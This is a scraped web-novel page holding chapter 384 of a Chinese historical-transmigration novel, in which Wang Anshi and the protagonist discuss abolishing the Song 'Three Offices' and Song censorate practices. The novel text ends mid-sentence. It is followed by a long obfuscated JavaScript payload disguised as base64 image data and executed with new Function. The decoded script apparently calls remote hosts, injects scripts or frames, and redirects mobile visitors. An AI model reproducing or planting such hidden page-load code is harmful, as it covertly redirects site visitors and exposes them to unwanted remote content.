第三百八十四章 公益
91书院(91shuyuan.com)更新快,无弹窗!
上的点点污渍。
在比较随意的环境下,王安石和王静辉进行了非常坦诚地谈话,尽管王安石号称“拗相公”。但在面对眼前这个年轻人,他固执的脾气倒是难得的表现出一幅长者的温和,两人之间固然还有一些争辩,不过已经比福宁殿好的实在是太多,至少没有那种剑拔弩张的气氛了。
“首先是三司,介甫先生和君实先生都以为三司不必继续存在,在这点上学生也是深以为然的,毕竟三司的存在使得六部形同虚设,大部分权力归三司所掌管,这范围实在是太大了,而且三司有了六部的权力,那今后官制改革中的六部又该何去何从?显然三司是必须撤销的!”王静辉说道。
王安石听后点点头说道:“撤销三司,全国财计始归户部。户部主管全国户籍、土地、钱谷的政令以及贡赋、征役等事。设户部尚书一员,左、右曹侍郎各一员。郎中、员外郎各二员,度支、金部、仓部各二员。左曹分管户籍、税赋、土贡、征榷等事,右曹分管常平、免役、保甲、义仓等事。度支掌管全国财政预算,量入而出;金部掌管全国的货币收支,藏于府库;仓部掌管仓库贮积和收支等事。”
王安石对朝廷政治制度了如指掌,在这点上可要比他的老对手司马光强的实在是太多了,这也是因为他从几十年前的庆历新政中吸取到了足够的教训──没有权力还谈什么改革?!所以等王安石一登上相位宝座后,便不动声色的架空了当时的宰持陈升之,使年迈昏庸的陈升之变成了他的人形印章,再者说来王安石也是当世治《老子》的名家,对于“权”的理解已经超越旁人实在是太多了。
“唐末税法混乱,田赋、丁税的收入无法维持王朝的庞大费用,国家的财政收入主要依靠盐铁和度支。五代后唐明宗始设盐铁、度支和户部‘三司’,本朝初期沿之。三司的职权是总管全国各地之贡赋和国家的财政。三司使其权位之重,与执政无殊,号称‘计相’。”王静辉笑着说道:“国朝初立财政多是出自三司,后由历代改进情况好转,但毫无疑问三司的职能已经取代了户部,致使户部成为一个可有可无的部门,甚至连尚书省的绝大部分职能也被其所代,可见这官制改革当中,三司第一个是被撤销的部门,这样才能够重建三省六部!”转到使得唐朝和五代沿袭下来地官职系统已经完全变化了。考虑到后世的一些官制模式,这么算下来宋朝的官职系统应该是承上启下对后世影响极为深刻。
得出这么一个结论倒是让王静辉感到非常意外,毕竟后世正统历史一直都把宋朝归为“窝囊宋”,尤其是它的官职系统倍受诟病,可是元明清三朝几乎都受到了宋朝的影响,尤其实在官职系统上更是如此。比如地方官的监察。在宋代由通判负责。同时,皇帝还经常派遣转运使、按察使、观察使到各地去监察,这些都属于外任御史。转运使本来是管理财政地,但也兼任监察官吏。后来在安抚使之上设宣抚、制置二使,不领州而位在诸路帅臣之上,成为一路之长官。开元代行省承宣布政司,开明代按察司制度之先声。
宋代的谏官称为司谏、正言。谏官的职责是向皇帝提出批评和建议,但实际上空有其名,未能履行其职,最终便混同御史。专司监察官吏。按规定,谏官每月要向皇帝报告一次,称为“月课”,他们可以把平时随便听到的一点情况就向皇帝报告,不必是否有据。当时称为“风闻弹人”,若奏弹不实,谏官不必受到惩罚。如果御史台的谏官上任后百日之内无所纠弹,则罢作外官或罚“辱台钱”。这种规定更助长了御史滥用弹劾权。在几年前王静辉就
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();